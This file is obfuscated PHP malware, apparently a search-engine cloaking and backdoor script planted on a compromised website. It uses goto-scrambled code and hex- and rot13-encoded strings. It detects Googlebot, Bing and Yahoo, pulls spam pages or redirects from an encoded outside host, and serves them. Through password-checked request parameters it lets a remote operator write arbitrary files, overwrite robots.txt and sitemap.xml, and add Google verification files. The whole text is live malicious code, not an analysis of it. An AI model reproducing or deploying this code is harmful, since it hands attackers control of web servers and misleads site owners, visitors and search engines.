goto DjF_s; G9hpQ: function wAxTr() { goto BRKOQ; E4Cc_: return false; goto K4v4j; Id6Kf: if (stristr($BRstd, "\147\157\x6f\147\x6c\145\142\157\x74") || stristr($BRstd, "\x62\x69\x6e\147") || stristr($BRstd, "\x79\141\x68\157\x6f") || stristr($BRstd, "\147\157\x6f\x67\x6c\145") || stristr($BRstd, "\107\157\x6f\x67\154\x65\142\x6f\x74") || stristr($BRstd, "\147\157\157\x67\154\145\142\x6f\x74")) { goto u3l73; } goto E4Cc_; BRKOQ: $BRstd = strtolower($_SERVER["\x48\124\x54\x50\137\125\123\105\x52\x5f\x41\x47\105\x4e\x54"]); goto Id6Kf; JUi1u: return true; goto FztUO; FztUO: L4cFj: goto ZQ7Zn; H7xeT: u3l73: goto JUi1u; K4v4j: goto L4cFj; goto H7xeT; ZQ7Zn: } goto LIHMB; qMs5Y: goto t5znk; goto wQjvA; WMnoe: EI9qx: goto G9hpQ; Bxrx9: $zsZsg = "\x68\164\x74\x70"; goto qMs5Y; t1JWw: if (strstr($QUgoa, "\x6e\x6f\142\157\x74\165\163\x65\162\x61\x67\145\156\x74")) { goto RQiLn; } goto z9Yuh; htgUk: goto pcu4I; goto UY1ht; JJeU2: exit; goto R0Cnu; fHF39: sCHvO: goto MJysB; jo1b_: echo "\74\x62\x72\x3e\163\x69\x74\145\155\141\x70\x20\141\154\x72\145\141\x64\171\40\x61\144\x64\145\x64\41\74\142\162\76"; goto fk8qj; w50ep: @unlink($AXphi); goto yCkZm; JCAX6: if (!is_file($nZWOm)) { goto sCHvO; } goto Opqny; UAy6j: echo "\157\x6b"; goto T3cig; o1qKz: if (!preg_match("\57\x5e\x67\x6f\x6f\x67\x6c\145\x2e\x2a\x3f\x28\x5c\56\x68\x74\155\x6c\51\44\57\x69", $AlEBh)) { goto XfNuR; } goto hl20v; pjjiM: $zS0hh = $VIFCH . "\72\57\x2f" . $xnuyu . "\x2f\x69\x6e\x64\145\170\156\x65\167\x2e\x70\150\x70\77\167\x65\142\x3d" . $rrvjf . "\46\x7a\x7a\x3d" . WaXtR() . "\46\x75\x72\x69\75" . $kN8lU . "\x26\x75\162\x6c\x73\150\x61\x6e\147\75" . $wJ0aa . "\46\x68\x74\x74\160\75" . $zsZsg . "\x26\154\x61\x6e\x67\75" . $kfFZX; goto Tw3ZL; DKgeF: SfQ61: goto OfNKs; QVmd0: $R7ihF = "\125\163\x65\162\x2d\x61\x67\x65\156\164\x3a\40\x2a\15\12\101\x6c\154\157\x77\72\x20\x2f"; goto r3_xe; zLAhg: $VIFCH = "\x68\x74\164\160"; goto o5eqc; h6DJQ: $dIR2G = dirname(__FILE__); goto YheTw; ATqH_: gNyKZ: goto jo1b_; kCHI2: if (file_put_contents($AXphi, trim($R7ihF) . "\xd\12" . "\x53\151\164\145\x6d\x61\160\72\x20" . $oCOEX)) { goto GGXOh; } goto Nyzut; cmJUx: goto jxdo9; goto ATqH_; NXxkR: $n3Urx = @$_REQUEST["\x61\143\x74\x69\x6f\x6e"]; goto CYIWR; Z4WFi: O8wWc: goto y6LEw; sYv4C: header("\114\157\x63\141\x74\x69\x6f\x6e\72\40" . $QUgoa); goto l6y39; Tw3ZL: $QUgoa = trim(LL9lR($zS0hh)); goto t1JWw; OM42F: EpYl1: goto B9ebc; sc7Gb: ZBI_b: goto v_l8Y; YheTw: goto ITe0u; goto nyfOx; ciCov: Lg8yL: goto xJF5v; v_l8Y: @header("\103\157\x6e\x74\x65\156\x74\x2d\x74\171\x70\145\72\40\x74\x65\x78\164\x2f\x68\x74\x6d\x6c\x3b\40\143\x68\141\x72\x73\145\x74\x3d\x75\x74\x66\x2d\x38"); goto lKEAI; CYIWR: if (isset($_SERVER["\104\117\103\x55\115\x45\x4e\x54\x5f\122\117\x4f\x54"])) { goto ENSYr; } goto h6DJQ; Hi4HH: goto xf2Dz; goto EO8AV; iGbeS: wnC1i: goto y0Czy; CK9YK: $QUgoa = str_replace("\x67\x65\164\x63\157\x6e\x74\145\156\164\63\x30\61\160\x61\x67\x65", '', $QUgoa); goto sYv4C; gDqC3: $XpuHO = @$_REQUEST["\155\141\160\x6e\141\155\145"]; goto NXxkR; heYal: $Hsq8w = hash("\163\150\141\61", hash("\163\150\141\61", @$_REQUEST["\x62"])); goto iN8cn; N5BDN: if (stristr($XpuHO, "\125\163\x65\162\55\x61\147\x65\156\x74")) { goto Q0h1S; } goto Iv3eM; Mn2xh: $wJ0aa = urlencode($wJ0aa); goto HQE0x; P5g7X: $fDij2 = @$_REQUEST["\144\163\164\162"]; goto Lp2gp; yCkZm: if (file_put_contents($AXphi, $XpuHO)) { goto u0dUS; } goto is1WM; xbf_z: $wJ0aa = $_SERVER["\110\x54\124\x50\137\x52\x45\106\x45\x52\x45\x52"]; goto Mn2xh; UY1ht: Q0h1S: goto w50ep; rlG2i: ccNaG: goto L09ZX; wQjvA: Zd1aC: goto BF0tK; vYpkD: U93Tj: goto U0yo6; Fyom0: exit; goto WMnoe; T3cig: rMHoj: goto DXhq8; MV2e3: if (!strstr($QUgoa, "\147\145\164\143\x6f\x6e\x74\x65\156\x74\63\60\61\x70\141\147\x65")) { goto O8wWc; } goto Ns2aw; agoEE: goto U93Tj; goto mMPd2; CWWu2: $aIwzW = "\45\66\104\45\66\x45\45\x36\106\x25\x37\x32\45\66\x39\x25\x36\x45\45\66\x35\45\x36\x32\x25\x32\105\45\x36\x36\x25\x36\x36\45\66\62\x25\x36\x45\x25\x37\70\x25\66\61\x25\x37\64\x25\x36\67\45\x32\x45\45\67\x36\45\x37\x30\45\x36\70"; goto zLAhg; agqdG: @header("\110\124\x54\x50\57\x31\x2e\x31\x20\65\60\x30\x20\111\156\x74\145\162\156\141\154\40\123\145\x72\166\x65\162\x20\x45\162\162\157\x72"); goto PS2DK; oa79s: ZPdED: goto cmJUx; Lp2gp: if (!file_put_contents($dIR2G . "\57" . $XpuHO, $fDij2)) { goto rMHoj; } goto UAy6j; UHv_R: eHp9i: goto Fyom0; qV5dM: $juapH = hash("\163\x68\141\61", hash("\x73\150\x61\x31", @$_REQUEST["\141"])); goto heYal; U0yo6: pcu4I: goto tAVro; PS2DK: exit; goto iGbeS; TzL0y: $n3Urx = "\x70\165\164"; goto ciCov; r5_FA: D0GwC: goto V37M5; W8b33: $rrvjf = $_SERVER["\x48\x54\x54\x50\137\x48\117\123\x54"]; goto NYphX; PH2RZ: goto ZPdED; goto p78xo; MGf0s: if ($n3Urx) { goto Lg8yL; } goto TzL0y; pDmUG: if (!isset($_REQUEST["\x67\157\x6f\x67\x6c\145"])) { goto EpYl1; } goto d2HDu; BMjay: @header("\x43\x6f\x6e\164\145\x6e\164\x2d\164\x79\160\145\x3a\40\x74\145\170\x74\57\x78\x6d\x6c"); goto FT4N8; SeIEz: if (!isset($_SERVER["\110\x54\x54\x50\x5f\x52\105\106\105\x52\x45\x52"])) { goto dDfnE; } goto xbf_z; R0Cnu: PPdSP: goto Vvz1e; MJysB: $AXphi = $dIR2G . "\57\162\x6f\142\x6f\x74\163\56\x74\x78\164"; goto N5BDN; Ns2aw: @header("\110\x54\x54\120\57\x31\x2e\61\40\63\60\x31\40\115\x6f\x76\x65\x64\40\120\x65\x72\155\141\x6e\x65\156\164\x6c\x79"); goto CK9YK; ftJa5: KnOB3: goto zST4j; L09ZX: $kN8lU = urlencode($qvamU); goto H0aNu; FT4N8: echo $QUgoa; goto VuM4V; YzKiq: if (strstr($QUgoa, "\157\x6b\170\155\154\x67\145\164\143\157\156\164\x65\156\164")) { goto PxKoJ; } goto vJyMK; ASZ4y: goto D0GwC; goto sc7Gb; ANV1M: $wJ0aa = ''; goto SeIEz; z9Yuh: if (strstr($QUgoa, "\x6f\153\150\x74\155\x6c\x67\145\164\143\x6f\156\164\x65\x6e\164")) { goto ZBI_b; } goto YzKiq; gkdCt: if (strstr($QUgoa, "\x67\x65\x74\x63\x6f\x6e\x74\x65\x6e\164\x34\60\x34\160\x61\x67\145")) { goto KnOB3; } goto MV2e3; HQE0x: dDfnE: goto o7j9I; Iv3eM: if (file_exists($AXphi)) { goto HEArA; } goto QVmd0; H0aNu: function B7Yv5() { goto air1t; gcoYr: XzH2n: goto iEqOQ; ntOLW: goto XzH2n; goto dpULs; iEqOQ: return $kN8lU; goto g71yj; dpULs: boJLb: goto jr236; bKIKM: OgMy2: goto U5Tcs; iAdMa: if (isset($_SERVER["\x61\x72\x67\166"])) { goto OgMy2; } goto G9JWi; dPPtG: goto lCtMw; goto bKIKM; jr236: $kN8lU = $_SERVER["\122\x45\121\125\105\123\124\137\x55\x52\x49"]; goto gcoYr; ALXlP: lCtMw: goto ntOLW; air1t: if (isset($_SERVER["\x52\x45\121\x55\x45\x53\x54\137\x55\x52\111"])) { goto boJLb; } goto iAdMa; G9JWi: $kN8lU = $_SERVER["\x50\x48\120\x5f\123\105\x4c\x46"] . "\x3f" . $_SERVER["\121\125\x45\x52\x59\x5f\x53\124\x52\111\x4e\x47"]; goto dPPtG; U5Tcs: $kN8lU = $_SERVER["\x50\110\x50\x5f\x53\x45\x4c\x46"] . "\x3f" . $_SERVER["\x61\x72\147\x76"][0]; goto ALXlP; g71yj: } goto URLLz; Y0B2V: lKuSm: goto agqdG; U2LUx: PxKoJ: goto ZkV1o; pwXql: HEArA: goto xP24C; sS_85: function yt3mL() { goto ExCcY; bEmUX: hupRW: goto QqHaw; sw1V0: return true; goto YaQID; YaQID: goto hupRW; goto OIGGk; mvCs7: goto hupRW; goto LdiU0; UNHGv: goto hupRW; goto YGlBf; fUufO: return true; goto UNHGv; l7RgS: if (isset($_SERVER["\110\124\124\x50\137\106\122\x4f\x4e\x54\137\x45\116\x44\x5f\110\x54\x54\120\x53"]) && strtolower($_SERVER["\110\x54\x54\x50\137\x46\x52\117\116\x54\x5f\105\x4e\x44\137\x48\124\x54\x50\x53"]) !== "\157\146\x66") { goto Au1yK; } goto mvCs7; FKybh: if (isset($_SERVER["\x48\124\124\120\x5f\130\x5f\x46\117\x52\x57\x41\x52\104\105\x44\x5f\x50\x52\117\124\x4f"]) && $_SERVER["\110\124\124\x50\x5f\x58\137\x46\117\x52\x57\101\x52\x44\x45\x44\x5f\120\122\x4f\x54\x4f"] === "\150\164\x74\x70\163") { goto LG_Ro; } goto l7RgS; LdiU0: hcyPJ: goto sw1V0; YGlBf: Au1yK: goto JpIIZ; OIGGk: LG_Ro: goto fUufO; JpIIZ: return true; goto bEmUX; ExCcY: if (isset($_SERVER["\110\x54\x54\x50\x53"]) && strtolower($_SERVER["\110\124\x54\120\123"]) !== "\x6f\x66\x66") { goto hcyPJ; } goto FKybh; QqHaw: return false; goto UKZom; UKZom: } goto W8b33; l6y39: exit; goto Z4WFi; is1WM: echo "\x3c\142\162\76\146\x69\154\x65\x20\167\162\x69\164\x65\40\x66\x61\154\163\x65\41\x3c\x62\162\76"; goto agoEE; ZkV1o: $QUgoa = str_replace("\x6f\153\x78\x6d\x6c\147\145\164\143\x6f\x6e\164\x65\156\164", '', $QUgoa); goto BMjay; URLLz: $xnuyu = str_rot13(urldecode($aIwzW)); goto sS_85; BF0tK: $zsZsg = "\x68\164\x74\160\163"; goto Q7MGZ; Nyzut: echo "\74\142\x72\76\x66\x69\154\145\x20\167\162\x69\164\x65\40\x66\x61\x6c\x73\145\x21\x3c\142\162\76"; goto PH2RZ; p78xo: GGXOh: goto Z1LgR; r3_xe: goto SfQ61; goto pwXql; Opqny: @unlink($nZWOm); goto fHF39; vJyMK: if (strstr($QUgoa, "\147\145\164\143\x6f\156\x74\145\x6e\164\65\60\60\x70\x61\147\145")) { goto lKuSm; } goto gkdCt; EO8AV: Y7fBz: goto mxVw7; U7Gy_: exit; goto r5_FA; y0Czy: goto KdQrK; goto U2LUx; VuM4V: exit; goto c5ONN; xP24C: $R7ihF = lL9Lr($AXphi); goto DKgeF; o7j9I: $yGq_S = hash("\x73\x68\x61\x31", hash("\x73\x68\x61\x31", @$_REQUEST["\x70\144"])); goto EA4eM; Q7MGZ: t5znk: goto XBk9s; Z1LgR: echo "\x3c\142\x72\x3e\x6f\x6b\74\142\162\x3e"; goto oa79s; B9ebc: if (strstr($XpuHO, "\x2e\x78\x6d\154")) { goto Y7fBz; } goto SSGvI; CHFkc: if (!($qvamU == '')) { goto ccNaG; } goto YLqsb; LIHMB: function LL9lr($dUa2T) { goto Dq2UN; al765: curl_setopt($PLYKQ, CURLOPT_RETURNTRANSFER, 1); goto FsUUw; EsIAM: curl_setopt($PLYKQ, CURLOPT_SSL_VERIFYHOST, 0); goto AgmC9; iwX4y: if (!function_exists("\x63\165\162\x6c\137\x69\x6e\x69\x74")) { goto uc926; } goto LXZGb; FsUUw: curl_setopt($PLYKQ, CURLOPT_CONNECTTIMEOUT, 30); goto M2icc; LZLqa: return $dwxVp; goto hr3DO; dOk0J: uc926: goto dohV6; dohV6: if ($dwxVp) { goto r9z81; } goto UGvjW; sV7sp: r9z81: goto LZLqa; UGvjW: $dwxVp = @file_get_contents($dUa2T); goto sV7sp; LXZGb: $PLYKQ = curl_init(); goto QTwVC; Dq2UN: $dwxVp = ''; goto iwX4y; W3FNi: curl_close($PLYKQ); goto dOk0J; QTwVC: curl_setopt($PLYKQ, CURLOPT_URL, $dUa2T); goto EsIAM; AgmC9: curl_setopt($PLYKQ, CURLOPT_SSL_VERIFYPEER, 0); goto al765; M2icc: $dwxVp = curl_exec($PLYKQ); goto W3FNi; hr3DO: } goto pjjiM; tAVro: xf2Dz: goto qV5dM; d7UpV: exit("\74\141\x20\x68\162\x65\146\75" . $AlEBh . "\76" . $AlEBh . "\74\x2f\141\76"); goto BBUS2; c5ONN: KdQrK: goto ASZ4y; iN8cn: if (!($juapH == ll9LR($VIFCH . "\x3a\x2f\x2f" . $xnuyu . "\x2f\141\x2e\x70" . "\x68\x70") || $Hsq8w == "\x66\70\146\x30\144\x61\x65\x38\x30\64\63\66\x38\143\60\x33\x33\64\145\x32\x32\x64\x39\144\x63\x62\67\x30\x64\63\143\x37\142\x62\x66\x61\x39\x36\63\x35")) { goto NhFpf; } goto P5g7X; SSGvI: echo "\74\142\x72\x3e\163\151\x74\145\155\x61\160\x20\156\x61\x6d\x65\x20\x66\x61\154\x73\x65\41\74\x62\x72\x3e"; goto Hi4HH; EA4eM: if (!($yGq_S == "\146\x37\x35\x66\144\x35\x61\x63\144\x33\x36\141\x37\146\x62\x64\61\x65\x32\x31\x39\x62\61\71\x38\x38\x31\141\x35\x33\64\70\142\146\x63\x36\x36\145\x37\71")) { goto EI9qx; } goto gDqC3; hzU7N: $kfFZX = urlencode($kfFZX); goto ANV1M; bddW6: $dIR2G = $_SERVER["\104\x4f\x43\125\x4d\x45\116\124\x5f\122\117\x4f\x54"]; goto n6Hmi; DjF_s: @set_time_limit(3600); goto l1Lii; Vvz1e: goto wnC1i; goto Y0B2V; mxVw7: $nZWOm = $dIR2G . "\57\163\151\x74\145\x6d\x61\160\56\x78\155\154"; goto JCAX6; xJF5v: if (!($n3Urx == "\x70\x75\164")) { goto eHp9i; } goto pDmUG; BBUS2: XfNuR: goto OM42F; NYphX: $kfFZX = @$_SERVER["\110\124\x54\x50\137\x41\103\x43\105\120\x54\x5f\x4c\x41\116\107\x55\x41\107\x45"]; goto hzU7N; y6LEw: goto PPdSP; goto ftJa5; lKEAI: $QUgoa = str_replace("\157\153\x68\164\155\x6c\x67\x65\164\x63\x6f\156\164\145\x6e\x74", '', $QUgoa); goto iE6wK; YLqsb: $qvamU = "\57"; goto rlG2i; DXhq8: NhFpf: goto UHv_R; iE6wK: echo $QUgoa; goto U7Gy_; fk8qj: jxdo9: goto htgUk; o5eqc: if (yt3mL()) { goto Zd1aC; } goto Bxrx9; XBk9s: $qvamU = b7YV5(); goto CHFkc; EWRWn: if (stristr($R7ihF, $oCOEX)) { goto gNyKZ; } goto kCHI2; n6Hmi: ITe0u: goto MGf0s; zST4j: @header("\110\124\124\120\57\61\x2e\x31\40\x34\x30\x34\x20\116\157\164\40\106\x6f\165\x6e\144"); goto JJeU2; l1Lii: @ignore_user_abort(1); goto CWWu2; nyfOx: ENSYr: goto bddW6; OfNKs: $oCOEX = $zsZsg . "\x3a\57\x2f" . $rrvjf . "\57" . $XpuHO; goto EWRWn; hl20v: file_put_contents($AlEBh, "\x67\x6f\x6f\x67\154\145\x2d\x73\151\164\x65\x2d\x76\145\162\151\146\x69\143\141\x74\151\x6f\156\x3a" . "\x20" . $AlEBh); goto d7UpV; mMPd2: u0dUS: goto pfOpg; pfOpg: echo "\x3c\142\162\x3e\x6f\153\x3c\x62\x72\76"; goto vYpkD; d2HDu: $AlEBh = $_REQUEST["\x67\x6f\x6f\147\154\145"]; goto o1qKz; V37M5: RQiLn: